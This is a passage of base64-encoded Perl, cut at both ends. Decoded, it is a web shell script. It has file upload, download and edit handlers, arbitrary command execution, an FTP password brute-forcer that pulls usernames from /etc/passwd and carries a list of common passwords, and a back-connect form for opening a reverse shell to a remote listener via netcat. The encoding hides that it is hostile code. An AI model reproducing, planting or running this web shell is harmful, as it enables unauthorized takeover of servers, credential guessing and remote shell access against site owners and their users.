pbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgcnVuIGNvbW1hbmQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7DQoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOw0KCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiID4nOw0KCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOw0KCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOw0KCWlmKC13ICRGaWxlKQ0KCXsNCgkJJHJvd3M9IjIzIg0KCX1lbHNlDQoJew0KCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2NvbG9yOiB5ZWxsb3c7JyA+IENhbm4ndCB3cml0ZSBmaWxlITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsNCgkkcmVzdWx0IC49ICA8PEVORDsNCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQoJJFByb21wdA0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+DQoJPGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZw0KCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPg0KRU5EDQoNCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7DQoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gIjwvZm9ybT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGaWxlIE9wZW4NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBGaWxlT3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCglteSAkcmVzdWx0ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkcmVzdWx0IC49ICRkYXRhOw0KCQkJfQ0KCQkJY2xvc2UoRklMRSk7DQoJCX0NCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZigkdXNlcm5hbWUgbmUgIiIpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOw0KCQkJCQl9DQoJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kRm9ybQ0Kew0KCXJldHVybiA8PEVORDsNCgk8YnI+PGJyPg0KDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPg0KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+DQoNCgk8dGQ+PGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shDQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPg0KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8YnI+PGJyPg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KDQoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPS